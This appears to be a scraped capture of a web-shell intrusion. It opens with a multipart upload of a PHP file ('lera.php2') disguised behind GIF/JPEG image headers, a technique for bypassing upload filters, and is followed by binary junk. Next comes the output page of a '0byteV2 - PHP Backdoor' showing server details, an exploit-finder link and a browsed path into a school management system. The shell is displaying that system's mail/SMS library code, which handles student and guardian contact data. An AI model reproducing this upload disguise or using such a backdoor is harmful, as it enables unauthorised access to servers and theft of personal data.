------WebKitFormBoundary5SePZ93NyvO6nCmJ Content-Disposition: form-data; name="qqfile"; filename="lera.php2" Content-Type: application/octet-stream GIF89a; ÿØÿà JFIF ÿí „Photoshop 3.0 8BIM hg Js4XT_wSZ67ehRpQTnMQ( JFBMD0f000770010000cd1d00002b54000065550000ec560000e488000080b80000b1bb0000ÿÛ C ")$+*($''-2@7-0=0''8L9=CEHIH+6OUNFT@GHEÿÛ C !!E.'.EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEÿ €" ÿÄ ÿÄ ÿÚ ù úȉ{j êv $àiwžœöˆ'Ýœ«§ôåÝU >À [T€ÕôuÕæî§—ÈúWÃúþÀ Iô1óËî£;˜‘ò8ØN¸£•w@cŽºóê¶'»6r´G[É]X«§=&5³uÝ÷mqÖÑSÞœX†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†,†Zò²²²²²²‹@ ŸMöóù‹éy3÷ëûOcõjSƒvQÎSÞŸ9yWI$ä`äÝO‡/çWyå¼ã›Ï¸ëSãý+ƒ §e,/~™}_^Ç*—~IM•ÇЫäÞý¿yð—ÞðO;šƒ›ÊoCŸ¿c_ÇëüYÈåmѧíö=%÷Ä¢^EΫW•Y±ýÊöZm.läýúlûŸ‘cÛòóP=Ÿ™Zé<9Ï%âGoÈŠ›é<@MÆ>§—›;yüÇn1;v‰626,=V~”qú<‘ušã’ëÑ/1íä5¯…a6=|å¹ìy~Õž[æ?Sù[Yyˆëûn#®>{fŒ§ì…¹wýú&³>F­Úžã–'Íj,*³¨½75œ½õG¦Ëêè>¯¹IdÔy=ùbØïËTi°¸u—†ì8t¬ºÃfmmíEÞ„K óãøî×çÙé;d’Þå·s<†½»»)<ãû,–œ˜ùì}Sg'¿¿Ÿ§ÆŠÆ[yò nÓ¼õïµç¯CÑæèÂP­Ño®)4ôå‹ÓÕÚ¯?òÿ ªry×»¤–fÚý‹ï¾!‹Â_Ô~GosöѤë9a³ùU Ç;c¯tyí=óѳXßcQ'¦-Ú6z|ùA™–ì)îjyïWMÌõü·KqMu¬ôÖPlºg“ù¯×ø\o™›/T½dÍ6lü×fZÚóÍ{#\yž,/dhWºý°·eßÏË%•·ÓUô;Ÿ“g¼“[ ¾÷›ò:Uâá_¼‘‹Ó¥ÛeNuWɨ3­Ð¼ò\½%ÌðÇ|5µ[q†±/ ˜j|wèùÌëhvkØJ[eèâÑ7EÌê~Ûå¸]w+Ùsß;qWmsÕÙ×ÙîRpýßÌ%¼ÓY/.Žâ¶ïO™Déêó®s)q%Ù”t²±ÕÕ·ìùyŸ>>ûìÖüwâCÛŽÆ|d<÷/L<Ø]¦øUF¼î&'=Þµrý„i¯—Bî¹¼©qݯ;Ã<6K“Á™Œdê·jGuÀ};Y¶¾^¹ü¾³èU¸×Ï´^Àãß =44 ÂNç[ß5Ÿ}ó™oUyèä‰>¹Ï§¹¬ç¸¿Üòß/k]hÏSg]iµWÍ>£óLX;6d½uå-þ§â-ÍlLµÍA¯é}ι:zùj|ߢ_¶åæ]üþ=K+Ìõš3Çaæ^z2óÐôyæ^²ðÇ̼1{âÉ“¢C\ßÏûÎ*øýw/iËuëÁëÁ²ÂìîoѾwô=N’4½=8ÒÓ¡çuË´ñûaèÙ6¦¾ãzñ®Ç~®¼±ó=öYQ·Â6çŽc×£Ð2½ðyèó¼<Ç"ÉߣrÕstIiù.î¢>x;ÅîÕÓäß2Âty|úïúGÎ>§¼YF“¯ È’ôç§/:,¿º²Vɲ(úlwÏåñ>‹O×—«£ÑÛ”©ºvý,˜øÔݺdðëæ¾=SÙW[YÑÙÖÙjiù§Ô¹y®C.†$Yô4WÚ Ú@²‚‹§çña¥ã,/&zWD´‰5õŒ±Ë·6éÝ.ØÛ4›rÇ3ÐzAàz<óу"ÊÏÈgŒ¸G›”¼ß7ô­-p6Ý”¼¹çQéñFϧ=ô¼vïžq¤ÅܯӶ'>”òr‰âöa*¦L·’+%±¾DûO»7½”ÁîøOg—´gRæÃ³Æáôu6wKade¦ÞÓÝsD¼cfaqMth®¸†SÐvÚ£‰uÐcŸÆßFuG_yX}C/=ëÏ ºó—diI9yéï¾z <ôxW¾~6K†ÍûåÓ¿!–xì=÷OL¢6cו3¹¼ôÙ¯Ù%­;fñÙ×^v㵎žüdgEËçßB×¼ü~/}Âk2¬kìµ2±‡mǧ;:¾É/ìël«me¥maŽÂ@µ­²\ [×pŠGõ­2Ã^³(›õ–Ï=¦Í[eò.íd¿|ô{ç  z,¯=Ù5~^Ç¢½ô2Ù†p÷gî#6Ô.o«ä¸öª<'®tʾ§é•¾¯=•g?3Rân­Õ/~½¬ú#Îs£ÀùL¾§šíÎEµm§=r¶,K»:Ë3lƒÜ’¾ÆåÝ|3ÖDÖÏÃ6bš´I×^ûç§›ônšÑ†ÜO¾z=óРЯ|¶êË:ÏÝ#w¾l<^áéëAŠå­…˜sG1Ç·?®LŸ7£G¯g³Ç3›è¹­gËÝdØS‰4íL˜ú5ìÒ{Íôšu8ë3²ç§×ØÙsgWfoƒ:†^ed)‘e,ˆ“bù‘1ó?0Ù‰«^ívaïž™nײjÌÒG¾z=óРЯpñwéÎfl}Û½5gèôcž³hÀÏÍ^ÖTöÚq¾RöfR±Ë¼¤UMÓ›+ º 2"nY;aäKö)a„|ÌòÓ´ãkz8%Õm•ͽ¥M©"¸¦Dß«j̉.)“Òcæ^ãž&¼6áQÞz›vc”Ô=šö¦×žžïƒ×ƒ×ƒ×ƒ&%=ÌÛ»^üë/™<ôyèÃVQ„-ÕD¹4ö¦ü°ôÊ$˜$KNK¯2Ã=ZÌI”ÖyÔ½9hY9éÍvç§a–!t]LÙn ®¯»ª(¬«,®m-ªíjDYQcÁdm˜dM&:ûïž§žeáŽ9xa¯n²Xe©+-{3¨;ôo³?qÊø=yè ûž½¦ì±Ù=÷ÓܼÀË^™èzAÑC(m«,Íž{‰–ºJkÍ2O`Í¢³EµY¾³Et¹gå+$l‹´ßž­¢¶Ú¼Ûº¿s2àOŒr–uÖzÍ•­E¹"<ˆæ>ùêhÇ, úwjW¾zžy—†8çá†ëHáž’žjΣÈ&ç?qôõàõâ_^^^}ÇÕ÷||ɹDÛn÷ÌÃ/O^j6jÕ¨k•¸å­4ïìôÇTÍf¬ â¶ß/OnsUW|ÏAô™ùŸNm©îýy› ËˆTϬ±IúvéNRÒ®×Y°¶¨¶$èݤÇß=MZwÇ,uç¨×çúS…Èíü㥺ã=yêJ¿Fn‰påÙŸ¸z{î>ž¼¼¼¼1õ¬·ã*\}ÛŽožâ6{€Éæg¹éÒJÓ£Ly|zöXóÕ™ßYËÕÁƽž¹pÇ,N’Öžû¯>¡¯×÷¾ãž³·v.r÷©£|bªd-õe†&y‹:›{™¶ôÖĽ;u˜{á0¾)c«f³çg'×ú¶ˆ®ñNVo…Uç¯mJÑ–ƒTÈS}ÇÓßqö=x=x=x=x=÷Vný;ecîÜëN[r5ûž&:öº¬=+¥Ëôƒó?©|Ã:‹Ž¬üþœôg£;kÕ†ñ»Í;7Ï¡é9Γ¦3Ãf»%nÃlmϬõ§±%WÕtÚûDß[qªÎ:ö¢ÚæUÅ5Á/°1ð5Å•²×ù×WÍt%ûÜSÌ}òÏ0Ï]p™üåË·Ò5|ð¿A‘óaô§ÍGÒ½ù ú[æƒéoš¥¾h>–ù ú^1/Õòù0úÎ#G×qù úÃäãëyü„}/¯êù/‡Õ9nT]m ó¿ÓOä½u‡ Ö{ìx?S»ÝóÕ}óŸkéÙ|Çú†_-R|·Óê0¾v®Ö_}//šxv2ø/dú ‡ËGÖ_&W| }V'ÍGÕ}ùHëí>x>¯çÊGÕŸ)GÕqùb½` !ž‘Òt GHÒt™7«%•«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²«!Z²­Ø3333333333333¡k—¯’u£’u£’u£’u£’u£“è&5Æ"[\b%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰b"Xˆ–"%ˆ‰c×ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1ÙŽ1Ù€ )ìMí;€ ‰‘šd  WJ7€ 5Íq¦4$•mɪÒblJûcdZúÓéœ×CÏš'èÒd œXXÂÐY×i–Næ$Ä;kŠÒ.4Ç+Ð’4Tj,zJi†uÒ®@ ä <ôyè1È 9Ï@äzr cç  ;©Ë\áA.ãrÛέG‰|åî‰ÈS@ SÜ^·º¡ Ié12ïÇ¿¸È‡3Ï@ §µ3!@<=yè ÃÔ9€ÀÍH Dе“HdÀÄ –ê°ö¿TRF°‹9”ÞùQôåF¨´çYŽÆÝUFî‡çÿ @8{¬9âö eéa_¸h•Œ2æG-Ñ6À„M¢ys„j‚Æ]©×rýGn—ÉÙ“çÒX rrY 1d ¢¼ôyèãÐ ä=är Œ9Úé@ IÎ^Yy¶Œîœôbúg1<¸s°Î¹Éô$µ.¢ýÊm:g'd]B©€vJZã«SzYã›;5ƒ¦s™šÀê!G©:·5 ½QV{ŸÒtÎg¡6¹I¥ó”ÚtÎkYÐI¥º _`>y+·ôå w.¯ âs::üNã£ä»Æìë¼9º^ÿ AÉ{+¥8Ýß§!CôÜNOÀAæ»LNÞóœÇ§9ËèYùμqº;N[Eéó½HðæúPâr»¹>wi×dsUý=AïH ô á h!“ h „M ,ÉDbK^À‡0 e N…¸¾ÆBl¨ÒÈ7ìÓf"ûŸ¸(er–fWÔYö|ñWŸ5r\m ¾Ó§QâžqmËÝÓúkàÞc@_aKК¤êô÷fª‚ßÝ4ÇЀ xôc 9 äyŽAç£ÏAŽCÇ¡Ž@ W£Ç  eQYóSK…#ªr3ŽÌôÄ)¼E±ÐãËG:­uµ‡dæ§í\ñÓ9;ñÍzt‘*v38^ ²sðαÎút.r!×9¹e„žG#¬rsÌÍ.TUÇ\äý:·-b\)î Ez8Ÿ{\N&Ï¥ç=ôAó¤yéÍT÷cæ]WéËÖw~œt~çMJ9¼:qó™ý®GkÒäsžtƒ›tƒš¥ïü8ùÝã¦Í°8Kîsp;:r—ÎÄq6½ù·KÒoWSáÇö>z ))†’H"i”ÃI%Ž@ Bš w™€€ W´DyT³ÌfQxZE§é ¹hÞGßQ<…g¨êôBØiÛßå$ó^r<$@®®:Ï#î0—S(Ï^ÈEäZ襔(EÖ0eǯ¯-6CZèªØMe‰£dJ“§¸å;p 1È<ô @ o9™.Î’XßËÚ=/9Ñžr<$@®®:Ï#î%Á‰¤°Ë_›%ò–äü<¨,0¢˜MH4Âôºò³Y»\œŒôÐë> ä Ž@9 *t^†99 1È Ž@rrr9r )í²ä <ô óÚRçÞgQÕ¹ìK™4ÂçÞgQ}7—š]«)έG èܶGN ˆ^Íãå,I\9Ý9èÇUž¸í\î'Hæ5VŽNؾ‰+‡;§=ê¡Ó׫Èè¾Ã¤s9Ÿè ㊧úXãö[[í¬ñÅSý,q¶ ¢«¾˜qÛ;LNqÒŽ>“éxœUŸH1â;œNWÐq9½ æùï¢âq½ ã¤uÎ#¹Äáu}˜ÛÒnèŸ;¾êÍîzꂳ«óÐ ò!0 ä †` Ë:"@•·Òvþ›¨ìëK+sÒú=f¢D†ãD¬a—29nˆ ·…¼‡æÒ<îwis®óD½uD­Ôgœ>o¤ ä ccñèÇ ƒÇ£ÏCƒƒE}¸Ç %³œ–\F¨€u{(ôœ[eÌJ/aSh:ÕF%Ë–œ]¨"S””t0è0:íTVdüe¡~æEÌÞ*Ø¿Q êöQè:77dY Háäõãçø}#¯úävu9u}‡‡Î,ûOJ-AI‡g‘ÉHé=9ªžì|Ë£ê29»Yã‹ÝäpvýG·«ðà0úG_ôÇXt ¤¦‚4 ¤€ <=F’ h h ŠJ!@ Šöˆ¯µ¦ÖYWÀ½7DÓHu‘`f]é×F\k¥èˆöá—_hr6üÎÂß\AkŸ=,•¯d"ò-tSe¶º’Âo!ÐåÔÊ2ƒX:}õX–÷§V 0byteV2 - PHP Backdoor
Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
[ MySQL: OFF ][ Curl: OFF ][ Wget: OFF ][ Perl: OFF ][ Compiler: OFF ]

Disable Function: exec,passthru,shell_exec,system

/home/vhtecindia/public_html/bcvps.in/application/libraries/
CI = &get_instance(); $this->CI->config->load("mailsms"); $this->CI->load->library('smsgateway'); $this->CI->load->library('mailgateway'); $this->CI->load->model('examresult_model'); $this->CI->load->model('student_model'); $this->config_mailsms = $this->CI->config->item('mailsms'); } public function mailsms($send_for, $sender_details, $date = null, $exam_schedule_array = null) { $send_for = $this->config_mailsms[$send_for]; $chk_mail_sms = $this->CI->customlib->sendMailSMS($send_for); if (!empty($chk_mail_sms)) { if ($send_for == "student_admission") { if ($chk_mail_sms['mail'] && $chk_mail_sms['template'] != "") { $this->CI->mailgateway->sentRegisterMail($sender_details['student_id'], $sender_details['email'], $chk_mail_sms['template']); } if ($chk_mail_sms['sms'] && $chk_mail_sms['template'] != "") { $this->CI->smsgateway->sentRegisterSMS($sender_details['student_id'], $sender_details['contact_no'], $chk_mail_sms['template']); } } elseif ($send_for == "exam_result") { $this->sendResult($chk_mail_sms, $sender_details, $chk_mail_sms['template']); } elseif ($send_for == "login_credential") { if ($chk_mail_sms['mail'] && $chk_mail_sms['template'] != "") { $this->CI->mailgateway->sendLoginCredential($chk_mail_sms, $sender_details, $chk_mail_sms['template']); } if ($chk_mail_sms['sms'] && $chk_mail_sms['template'] != "") { $this->CI->smsgateway->sendLoginCredential($chk_mail_sms, $sender_details, $chk_mail_sms['template']); } } elseif ($send_for == "fee_submission") { if ($chk_mail_sms['mail'] && $chk_mail_sms['template'] != "") { $this->CI->mailgateway->sentAddFeeMail($sender_details, $chk_mail_sms['template']); } if ($chk_mail_sms['sms'] && $chk_mail_sms['template'] != "") { $this->CI->smsgateway->sentAddFeeSMS($sender_details, $chk_mail_sms['template']); } if ($chk_mail_sms['notification'] && $chk_mail_sms['template'] != "") { $this->CI->smsgateway->sentAddFeeNotification($sender_details, $chk_mail_sms['template']); } } elseif ($send_for == "absent_attendence") { $this->sendAbsentAttendance($chk_mail_sms, $sender_details, $date, $chk_mail_sms['template'], $exam_schedule_array); } elseif ($send_for == "fees_reminder") { if ($chk_mail_sms['mail'] && $chk_mail_sms['template'] != "") { $this->CI->mailgateway->sentMail($sender_details, $chk_mail_sms['template'], 'Fees Reminder'); } if ($chk_mail_sms['sms'] && $chk_mail_sms['template'] != "") { $this->CI->smsgateway->sendSMS($sender_details->guardian_phone, $chk_mail_sms['template'], $sender_details); } if ($chk_mail_sms['notification'] && $chk_mail_sms['template'] != "") { $this->CI->smsgateway->sentNotification($sender_details->parent_app_key, $chk_mail_sms['template'], $sender_details); } } elseif ($send_for == "homework") { $this->sendHomework($chk_mail_sms, $sender_details, $chk_mail_sms['template']); } elseif ($send_for == "online_classes") { $this->sendOnlineClass($chk_mail_sms, $sender_details, $chk_mail_sms['template']); } elseif ($send_for == "online_meeting") { $this->sendMeeting($chk_mail_sms, $sender_details, $chk_mail_sms['template']); } elseif ($send_for == "forgot_password") { $school_name = $this->CI->setting_model->getCurrentSchoolName(); $sender_details['school_name'] = $school_name; $msg = ($this->getForgotPasswordContent($sender_details, $chk_mail_sms['template'])); if ($chk_mail_sms['mail'] && $chk_mail_sms['template'] != "") { if (!empty($sender_details['email'])) { $subject = "Password Update Request"; $this->CI->mailer->send_mail($sender_details['email'], $subject, $msg); } } } else { } } } public function mailsmsalumnistudent($sender_details) { if ($sender_details['email_value'] == 'yes') { $this->CI->mailgateway->sentMailToAlumni($sender_details); } if ($sender_details['sms_value'] == 'yes') { $this->CI->smsgateway->sentSMSToAlumni($sender_details); } } public function sendResult($chk_mail_sms, $exam_result, $template) { if ($chk_mail_sms['mail'] or $chk_mail_sms['sms'] or $chk_mail_sms['notification']) { if (!empty($exam_result['exam_result'])) { foreach ($exam_result['exam_result'] as $res_key => $res_value) { $detail = array( 'student_name' => $res_value->firstname . " " . $res_value->lastname, 'exam_roll_no' => $res_value->exam_roll_no, 'email' => $res_value->email, 'exam' => $exam_result['exam']->exam, 'guardian_phone' => $res_value->guardian_phone, 'guardian_email' => $res_value->guardian_email, 'app_key' => $res_value->app_key, 'parent_app_key' => $res_value->parent_app_key, ); if ($chk_mail_sms['mail'] && $detail['guardian_email'] != "") { $this->CI->mailgateway->sentExamResultMail($detail, $template); } if ($chk_mail_sms['mail'] && $detail['email'] != "") { $this->CI->mailgateway->sentExamResultMailStudent($detail, $template); } if ($chk_mail_sms['sms'] && $detail['guardian_phone'] != "") { $this->CI->smsgateway->sentExamResultSMS($detail, $template); } if ($chk_mail_sms['notification'] && ($detail['parent_app_key'] != "" || $detail['app_key'] != "")) { $this->CI->smsgateway->sentExamResultNotification($detail, $template); } } } } } public function sendAbsentAttendance($chk_mail_sms, $student_session_array, $date, $template, $subject_attendence) { if ($chk_mail_sms['mail'] or $chk_mail_sms['sms'] or $chk_mail_sms['notification']) { $student_result = $this->getAbsentStudentlist($student_session_array); if (!empty($student_result)) { foreach ($student_result as $student_result_k => $student_result_v) { $detail = array( 'date' => $date, 'parent_app_key' => $student_result_v->parent_app_key, 'firstname' => $student_result_v->firstname, 'lastname' => $student_result_v->lastname, 'mobileno' => $student_result_v->mobileno, 'email' => $student_result_v->email, 'father_name' => $student_result_v->father_name, 'father_phone' => $student_result_v->father_phone, 'father_occupation' => $student_result_v->father_occupation, 'mother_name' => $student_result_v->mother_name, 'mother_phone' => $student_result_v->mother_phone, 'guardian_name' => $student_result_v->guardian_name, 'guardian_phone' => $student_result_v->guardian_phone, 'guardian_occupation' => $student_result_v->guardian_occupation, 'guardian_email' => $student_result_v->guardian_email, ); if (isset($subject_attendence) && !empty($subject_attendence)) { $detail['time_from'] = $subject_attendence->time_from; $detail['time_to'] = $subject_attendence->time_to; $detail['subject_name'] = $subject_attendence->name; $detail['subject_code'] = $subject_attendence->code; $detail['subject_type'] = $subject_attendence->type; } if ($chk_mail_sms['mail']) { $this->CI->mailgateway->sentAbsentStudentMail($detail, $template); } if ($chk_mail_sms['sms']) { $this->CI->smsgateway->sentAbsentStudentSMS($detail, $template); } if ($chk_mail_sms['notification']) { $this->CI->smsgateway->sentAbsentStudentNotification($detail, $template); } } } } } public function getAbsentStudentlist($student_session_array) { $result = $this->CI->student_model->getStudentListBYStudentsessionID($student_session_array); if (!empty($result)) { return $result; } return false; } public function sendHomework($chk_mail_sms, $student_details, $template) { $student_sms_list = array(); $student_email_list = array(); $student_notification_list = array(); if ($chk_mail_sms['mail'] or $chk_mail_sms['sms'] or $chk_mail_sms['notification']) { $class_id = ($student_details['class_id']); $section_id = ($student_details['section_id']); $homework_date = $student_details['homework_date']; $submit_date = $student_details['submit_date']; $subject = $student_details['subject']; $student_list = $this->CI->student_model->getStudentByClassSectionID($class_id, $section_id); if (!empty($student_list)) { foreach ($student_list as $student_key => $student_value) { if ($student_value['app_key'] != "") { $student_notification_list[] = array( 'app_key' => $student_value['app_key'], 'class' => $student_value['class'], 'section' => $student_value['section'], 'homework_date' => $homework_date, 'submit_date' => $submit_date, 'subject' => $subject, 'admission_no' => $student_value['admission_no'], 'student_name' => $student_value['firstname'] . " " . $student_value['lastname'], ); } if ($student_value['parent_app_key'] != "") { $student_notification_list[] = array( 'app_key' => $student_value['parent_app_key'], 'class' => $student_value['class'], 'section' => $student_value['section'], 'homework_date' => $homework_date, 'submit_date' => $submit_date, 'subject' => $subject, 'admission_no' => $student_value['admission_no'], 'student_name' => $student_value['firstname'] . " " . $student_value['lastname'], ); } if ($student_value['email'] != "") { $student_email_list[$student_value['email']] = array( 'class' => $student_value['class'], 'section' => $student_value['section'], 'homework_date' => $homework_date, 'submit_date' => $submit_date, 'subject' => $subject, 'admission_no' => $student_value['admission_no'], 'student_name' => $student_value['firstname'] . " " . $student_value['lastname'], ); } if ($student_value['guardian_email'] != "") { $student_email_list[$student_value['guardian_email']] = array( 'class' => $student_value['class'], 'section' => $student_value['section'], 'homework_date' => $homework_date, 'submit_date' => $submit_date, 'subject' => $subject, 'admission_no' => $student_value['admission_no'], 'student_name' => $student_value['firstname'] . " " . $student_value['lastname'], ); } if ($student_value['mobileno'] != "") { $student_sms_list[$student_value['mobileno']] = array( 'class' => $student_value['class'], 'section' => $student_value['section'], 'homework_date' => $homework_date, 'submit_date' => $submit_date, 'subject' => $subject, 'admission_no' => $student_value['admission_no'], 'student_name' => $student_value['firstname'] . " " . $student_value['lastname'], ); } if ($student_value['guardian_phone'] != "") { $student_sms_list[$student_value['guardian_phone']] = array( 'class' => $student_value['class'], 'section' => $student_value['section'], 'homework_date' => $homework_date, 'submit_date' => $submit_date, 'subject' => $subject, 'admission_no' => $student_value['admission_no'], 'student_name' => $student_value['firstname'] . " " . $student_value['lastname'], ); } } if ($chk_mail_sms['mail']) { if ($student_email_list) { $this->CI->mailgateway->sentHomeworkStudentMail($student_email_list, $template); } } if ($chk_mail_sms['sms']) { if ($student_sms_list) { $this->CI->smsgateway->sentHomeworkStudentSMS($student_sms_list, $template); } } if ($chk_mail_sms['notification']) { if (!empty($student_notification_list)) { $this->CI->smsgateway->sentHomeworkStudentNotification($student_notification_list, $template); } } } } } public function sendOnlineClass($chk_mail_sms, $student_details, $template) { $student_guardian_sms_list = array(); $student_sms_list = array(); $student_email_list = array(); $student_guardian_email_list = array(); $student_notification_list = array(); $student_guardian_notification_list = array(); if ($chk_mail_sms['mail'] or $chk_mail_sms['sms'] or $chk_mail_sms['notification']) { $class_id = ($student_details['class_id']); $section_id = ($student_details['section_id']); $title = $student_details['title']; $date = $student_details['date']; $duration = $student_details['duration']; $student_list = $this->CI->student_model->getStudentByClassSectionID($class_id, $section_id); if (!empty($student_list)) { foreach ($student_list as $student_key => $student_value) { if ($student_value['parent_app_key'] != "") { $student_guardian_notification_list[] = array( 'app_key' => $student_value['parent_app_key'], 'class' => $student_value['class'], 'section' => $student_value['section'], 'title' => $title, 'date' => $date, 'duration' => $duration, 'admission_no' => $student_value['admission_no'], 'student_name' => $student_value['firstname'] . " " . $student_value['lastname'], ); } if ($student_value['app_key'] != "") { $student_notification_list[] = array( 'app_key' => $student_value['app_key'], 'class' => $student_value['class'], 'section' => $student_value['section'], 'title' => $title, 'date' => $date, 'duration' => $duration, 'admission_no' => $student_value['admission_no'], 'student_name' => $student_value['firstname'] . " " . $student_value['lastname'], ); } if ($student_value['email'] != "") { $student_email_list[$student_value['email']] = array( 'class' => $student_value['class'], 'section' => $student_value['section'], 'title' => $title, 'date' => $date, 'duration' => $duration, 'admission_no' => $student_value['admission_no'], 'student_name' => $student_value['firstname'] . " " . $student_value['lastname'], ); } if ($student_value['guardian_email'] != "") { $student_guardian_email_list[$student_value['guardian_email']] = array( 'class' => $student_value['class'], 'section' => $student_value['section'], 'title' => $title, 'date' => $date, 'duration' => $duration, 'admission_no' => $student_value['admission_no'], 'student_name' => $student_value['firstname'] . " " . $student_value['lastname'], ); } if ($student_value['mobileno'] != "") { $student_sms_list[$student_value['mobileno']] = array( 'class' => $student_value['class'], 'section' => $student_value['section'], 'title' => $title, 'date' => $date, 'duration' => $duration, 'admission_no' => $student_value['admission_no'], 'student_name' => $student_value['firstname'] . " " . $student_value['lastname'], ); } if ($student_value['guardian_phone'] != "") { $student_guardian_sms_list[$student_value['guardian_phone']] = array( 'class' => $student_value['class'], 'section' => $student_value['section'], 'title' => $title, 'date' => $date, 'duration' => $duration, 'admission_no' => $student_value['admission_no'], 'student_name' => $student_value['firstname'] . " " . $student_value['lastname'], ); } } if ($chk_mail_sms['mail']) { if ($student_email_list) { $this->CI->mailgateway->sentOnlineClassStudentMail($student_email_list, $template); } if ($student_guardian_email_list) { $this->CI->mailgateway->sentOnlineClassStudentMail($student_guardian_email_list, $template); } } if ($chk_mail_sms['sms']) { if ($student_sms_list) { $this->CI->smsgateway->sentOnlineClassStudentSMS($student_sms_list, $template); } if ($student_guardian_sms_list) { $this->CI->smsgateway->sentOnlineClassStudentSMS($student_guardian_sms_list, $template); } } if ($chk_mail_sms['notification']) { if (!empty($student_notification_list)) { $this->CI->smsgateway->sentOnlineClassStudentNotification($student_notification_list, $template); } if (!empty($student_guardian_notification_list)) { $this->CI->smsgateway->sentOnlineClassStudentNotification($student_guardian_notification_list, $template); } } } } } public function sendMeeting($chk_mail_sms, $staff_details, $template) { $staff_sms_list = array(); $staff_email_list = array(); if ($chk_mail_sms['mail'] or $chk_mail_sms['sms']) { if (!empty($staff_details)) { foreach ($staff_details as $staff_key => $staff_value) { if ($staff_value['email'] != "") { $staff_email_list[$staff_value['email']] = array( 'title' => $staff_value['title'], 'date' => $staff_value['date'], 'duration' => $staff_value['duration'], 'employee_id' => $staff_value['employee_id'], 'department' => $staff_value['department'], 'designation' => $staff_value['designation'], 'name' => $staff_value['name'], 'contact_no' => $staff_value['contact_no'], 'email' => $staff_value['email'], ); } if ($staff_value['contact_no'] != "") { $staff_sms_list[$staff_value['contact_no']] = array( 'title' => $staff_value['title'], 'date' => $staff_value['date'], 'duration' => $staff_value['duration'], 'employee_id' => $staff_value['employee_id'], 'department' => $staff_value['department'], 'designation' => $staff_value['designation'], 'name' => $staff_value['name'], 'contact_no' => $staff_value['contact_no'], 'email' => $staff_value['email'], ); } } if ($chk_mail_sms['mail']) { if ($staff_email_list) { $this->CI->mailgateway->sentOnlineMeetingStaffMail($staff_email_list, $template); } } if ($chk_mail_sms['sms']) { if ($staff_sms_list) { $this->CI->smsgateway->sentOnlineMeetingStaffSMS($staff_sms_list, $template); } } } } } public function getForgotPasswordContent($student_result_detail, $template) { foreach ($student_result_detail as $key => $value) { $template = str_replace('{{' . $key . '}}', $value, $template); } return $template; } }